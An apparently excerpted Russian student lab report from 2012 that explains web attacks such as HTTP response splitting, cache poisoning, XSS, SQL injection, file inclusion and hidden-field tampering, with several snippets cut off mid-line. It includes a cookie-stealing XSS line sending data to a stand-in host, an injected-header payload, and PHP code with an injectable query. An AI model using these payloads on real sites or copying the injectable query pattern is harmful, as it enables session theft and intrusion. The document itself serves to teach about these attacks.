Автор работы: Пользователь скрыл имя, 11 Декабря 2012 в 03:15, лабораторная работа
Для начала мы приведём краткую справку, которая может понадобиться для понимания данного материала людям, которые не знакомы с сетевыми технологиями. Те, кто знаком, могут пропустить эту часть, потому что всё дано только в базовых понятиях и даёт только общую картину, без технических деталей.
Виды сетевых пакетов: Вся информация в сети передаётся пакетами, т.е. «порциями». У пакета есть адрес отправителя, получателя, порт отправителя и порт получателя, а так же некоторые другие служебные данные. Пакеты могут быть фрагментированы, т.е. один пакет может быть разбит на несколько фрагментов и отправлен в таком виде. Информация о фрагментации добавляется к служебной, поэтому компьютер-получатель знает, как правильно собрать фрагменты в один пакет.
30) HRS (HTTP Resource Splitting) – Достаточно молодой и по нашему мнению сложный приём (если не использовать его только для XSS), который позволяет реализовать атаки вида Hijacking Pages, Cross User Defacement, Web Cache Poisoning, Browser Cache Poisoning, XSS (будут описаны ниже). Сущность атаки в том, что взломщик, специально приготовленным HTTP запросом может заставить Веб-сервер, уязвимый перед HRS, ответить жертве (а не взломщику) двумя раздельными HTTP ответами (а не одним, как это было бы в обычной ситуации). Первый HTTP ответ может быть частично контролируем взломщиком, но второй контролируется взломщиком полностью! Если это возможно, взломщик посылает два запроса, где жертва выступает уже посредником. Первый из этих запросов снова заставит Веб-сервер ответить два раза, а второй обычно запрашивает какой-либо второстепенный ресурс на сервере (например, какую-либо маленькую картинку). Но! Жертва объединит второй HTTP запрос (на второстепенный ресурс) со вторым HTTP ответом (который контролируется взломщиком)! Таким образом, жертва думает, что получившийся «агрегат» это ответ от Веб-сервера с частью его содержимого, но на самом деле это будет важная информация или команда (которая подготовлена взломщиком). Есть ещё один нюанс, жертвой может быть компьютер взломщика, который получит в результате атаки, важную информацию, например, cookie другого пользователя. Ниже мы опишем атаки, которые можно провести через HRS, но они так же могут быть проведены с использованием другого приёма, но мы скажем про них всё же в ключе HRS.
31) Cross User Defacement – Достаточно «узкий» приём, потому что взломщик подделывает страницу, которая посылается уязвимым Веб – сервером только одной жертве. При этом содержимое Веб – сервера никаким образом не меняется. Кроме этого, приём очень сложно провести не при помощи HRS. Взломщику придётся выступить посредником между клиентом и сервером при помощи Спуфинга, IP хайджека, или ошибки в реализации некоторых Веб-серверов, но в итоге «затраты» не оправдают полученного результата. Более легко реализовать это через межпользовательскую атаку.
32) Web Cache Poisoning – по нашему мнению, не совсем полезный приём, поэтому опишем его исключительно кратко. В основном, прокси серверы кэшируют страницы, запрашиваемые пользователями, чтобы при повторном запросе такой страницы отдать её из кэша, а не запрашивать Веб-сервер. Это необходимо для экономии трафика, если это корпоративная сеть и прокси сервер внутрисетевой. Суть приёма в том, чтобы спровоцировать прокси сервер кэшировать поддельную страницу, которая потом будет передаваться пользователям сети.
33) Browser Cache Poisoning. Кэши есть не только у прокси серверов, но также и у браузеров. По сути этот приём почти то же самое, что и Web Cache Poisoning, с той лишь разницей, что ей подвергается только один компьютер.
34) Hijacking Pages – в некоторой степени этот приём схож с межпользовательской атакой, но здесь цель атаки не «подсунуть» пользователю подделанную информацию, например Веб-страницу, а наоборот, заставить сервер переслать взломщику Веб-страницу, которая предназначалась другому пользователю. Таким образом, взломщик может получить важную информацию, предназначенную другому пользователю. Это может быть номер его счёта или выданный ему пароль. Для проведения атаки, взломщику необходимо TCP соединение с прокси сервером (назовём «ВСП»), TCP соединение между жертвой и прокси сервером («ЖСП») и TCP соединение между Веб-сервером и прокси сервером («ССП»). Схема следующая:
a) Взломщик посылает через «ВСП» запрос
(назовём «ЗА») к прокси серверу, на который
Веб-сервер должен ответить двумя «ответами»
«ОФ1» и «ОФ2» (случай HRS).
b) Прокси сервер пересылает через «ССП»
запрос «ЗА» к Веб-серверу.
c) Веб-сервер отвечает «ОФ1» и «ОФ2» через
«ССП».
d) Прокси сервер считает, что «ОФ1» это
ответ на «ЗА» и пересылает его взломщику
через «ВСП».
e) Жертва посылает прокси серверу запрос
«ЗЖ» через «ЖСП». На который Веб сервер
должен ответить страницей «ОС», которая
содержит важную информацию.
f) Прокси сервер пересылает «ЗЖ» Веб-серверу
через «ССП», но тут же принимает фальшивый
«ОФ2» за ответ Веб-сервера.
g) Прокси сервер через «ЖСП» пересылает
жертве «ОФ2» как ответ на запрос «ЗЖ».
h) Взломщик снова посылает прокси серверу
новый запрос «ЗА2» через «ВСП».
i) В это время прокси сервер получает ответ
от Веб-сервера на «ЗЖ» через «ССП».
j) При этом прокси сервер всё же пересылает
«ЗА2» Веб-серверу через «ССП», но тут же
принимает «ОС» за ответ на «ЗА2».
k) Прокси сервер пересылает «ОС» взломщику
через «ВСП». Т.о. взломщик добился своей
цели, он получил страницу, которая предназначалась
жертве.
Дальше прокси сервер получит ответ на последний запрос взломщика, но на то время эту страницу будет некому отдать, и она будет вероятнее всего удалена. Мы думаем, что после рассмотрения этой схемы стало понятно, что атака не столь сложна в реализации в теории, сколь сложна на практике. Требуется точно распланированное время, через которое будут отосланы запросы и, соответственно, потребуются точные данные, через какое время будут получены ответы на запросы.
35) CSS/XSS
(Cross-Site Scripting или Межсайтовый скриптинг).
Атака, так и не признанная Microsoft опасной,
основана на использовании Java Script в странице.
Как известно, Java код, «вшитый» в страницу,
выполняется браузером пользователя.
Возможности достаточно ограничены, но
в умелых руках имеющиеся возможности
могут быть очень эффективно использованы.
Например, многие форумы или почтовые
сервера умеют идентифицировать пользователя
по наличию определённой cookie на компьютере
пользователя. Она уникальна для каждого
и поэтому считается достаточно безопасно
идентифицировать пользователя для доступа
к информации малой важности только по
её наличию, без ввода пароля. Но, cookie можно
украсть! Взломщик может внедрить в страницу
код типа: «<script>img = new Image(); img.src=http://hacker.ru/snf.
36) SiXSS
(SQL Injection Cross Site Scripting). Представляет собой
комбинацию SQL Injection и XSS, т.е. выполнение
атаки типа XSS через уязвимость скрипта
к SQL Injection. Атака основана на том, что свежие
версии MySQL умеют переводить шестнадцатеричные
значения (вида 0хХХ) в текст. Например,
через SQL запрос можно выяснить, что шестнадцатеричное
значение строки «<script>alert("SiXSS");</
37) SiHRS (SQL Injection HTTP Resource Splitting) – приём реализует HTTP Resource Splitting через уязвимость скрипта к SQL Injection. Это становится возможным, если скрипт, например, по индексу, сначала обращается к SQL базе за HTTP адресом, а потом сам генерирует свой HTTP запрос и использует полученный из SQL базы HTTP адрес для подстановки в поле «Location:» своего HTTP запроса. Это достаточно часто используется в Интернет-каталогах сайтов. Мы можем привести пример HTTP заголовка, который может быть использован для SiHRS в шестнадцатеричном виде.
Select HEX('i.php'
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 19
<html></html>');
Получится очень длинная строка,
поэтому мы приведём только первую её
часть «
Теперь мы сможем так же использовать полученный результат, как и в случае с SiXSS.
«www.victim.com/vuln_script.
38) NULL
Byte (или Нулевой байт). Это достаточно
серьёзная проблема с языком PERL. Дело в
том, что Perl позволяет символу \0 (HTML вариант
- %00) быть в любом месте строки. Для языков
типа С, этот символ означает конец строки.
Вот тут и кроется угроза. Например, есть
Perl код: $filename = $query->param('filename').'.
39) Include
Bug – Достаточно часто встречающаяся
уязвимость. Для упрощения добавления
новых страниц на сайт или для других целей
в скриптах используется функция include($file);
где $file задаётся пользователем, либо указывается
в ссылке, например http://victim.com/news.php?
40) PHP-Include
Bug – на наш взгляд достаточно интересная
уязвимость, которая может быть отнесена
к подвиду Include Bug, но мы считаем, что стоит
выделить её отдельно, потому что целью
выступает не получение данных из какого-то
файла, а вставка в страницу и последующее
выполнение сервером PHP кода. Те, кто знакомы
с PHP знают, что фрагменты кода (ограниченные,
например, <? … ?> или <?php … ?>) просто
вставляются в Веб-страницу, и при построчной
обработке страницы Веб-сервером, они
выполняются. Т.о. можно вставить такие
куски кода в страницу через PHP Include. Например,
в странице есть код include($file); В результате
в страницу будет вставлено содержимое
файла $file (который задаётся пользователем,
как в случае с Include Bug). Взломщик может
заранее подготовить файл, который содержит
в себе PHP код, который он желает выполнить
на уязвимом сервере. После этого он загрузит
файл на свой Веб-сервер и введёт запрос http://victim.com/news.php?
41) Hidden Fields (или Скрытые поля). Это не приём взлома, скорее, приём манипуляции данными. Скрытые поля используются в формах, которые сначала передаются клиенту, но не отображаются в браузере, а потом отдаются обратно серверу. Они выглядят в исходном коде HTML страницы как: “<input type="hidden" name="price" value="10">”. Проблема в том, что взломщик может изменить это поле вручную, после чего товар будет ему продан в ту цену, в которую он пожелает.
В заметке рассматривается
Рассмотрим работу простейшей системы с WEB-интерфейсом, позволяющей пользователям хранить и менять информацию о себе. Такие системы одни из самых распространенных в сети. Это может быть и гостевая книга, и чат, и фотогаллерея, и почтовый сервис.
Генерируемый запрос к базе даных должен содержать в себе логин и пароль, введенные пользователем. По этим полям БД должна найти соответствующую запись в таблице. После обработки запроса, БД выдает найденную информацию о пользователе, которую PHP скрипт оформляет в виде HTML и возвращает пользователю.
Расcмотрим достаточно типичный фрагмент PHP скрипта, использующий SQL запрос для доступа к базе данных:
<?php
$result
= mysql_db_query("database","
while($row
= mysql_fetch_array($result)) {
echo $row["fullname"];
echo
$row["email"];
echo $row["password"];
}
mysql_free_result($result);
?>
Как видим, логин и пароль, введенные пользователем содержатся в переменных $userLogin и $userPassword. Содержимое этих переменных встявляется в запрос для отфильтровки информации именно об этом пользователе. Фильтр задается с помощью опции where команды select SQL. В данном случае, запрос выглядит таким образом: select * from userTable where login = '$userLogin' and password = '$userPassword' где userTable - имя таблицы, содержащей нужную информацию. Если переменые логина и пароля содержат значения vanya и vasya соответственно, то запрос, отсылаемый БД, примет такой вид: select * from userTable where login = 'vanya' and password = 'vasya'. Понятно, что если в базе данных отсутствует запись, в которой логин равен vanya а пароль - vasya, до запрос не пришлет ни одной строчки из БД, и скрипт ничего не выдаст. Таким образом, приведенная система обеспечивает доступ к информации только пользователя, обладающего правильным паролем и логином.
Казалось бы, такая система не содержит изъянов. На самом деле, это не так. Логика программиcтов, создававших приведенный выше пример, подразумевает, что введенные пользователем логин и пароль, будут содержаться внутри одинарных кавычек, которые жестко забиты в теле запроса. Однако, посмотрим, что произойдет, если сам пароль, введенный пользоваетелм содержит кавычку. Пусть он имеет значение vas'ya, тогда запрос примет вид: select * from userTable where login = 'vanya' and password = 'vas'ya'. При исполнении такого запроса, безусловно возникнет ошибка, поскольку кавычка из пароля, закрыла открывающую кавычку из запроса, и конец пароля ya' остался "висеть" вне условного выражения.
Информация о работе Взлом и анализ уязвимостей на веб-страницах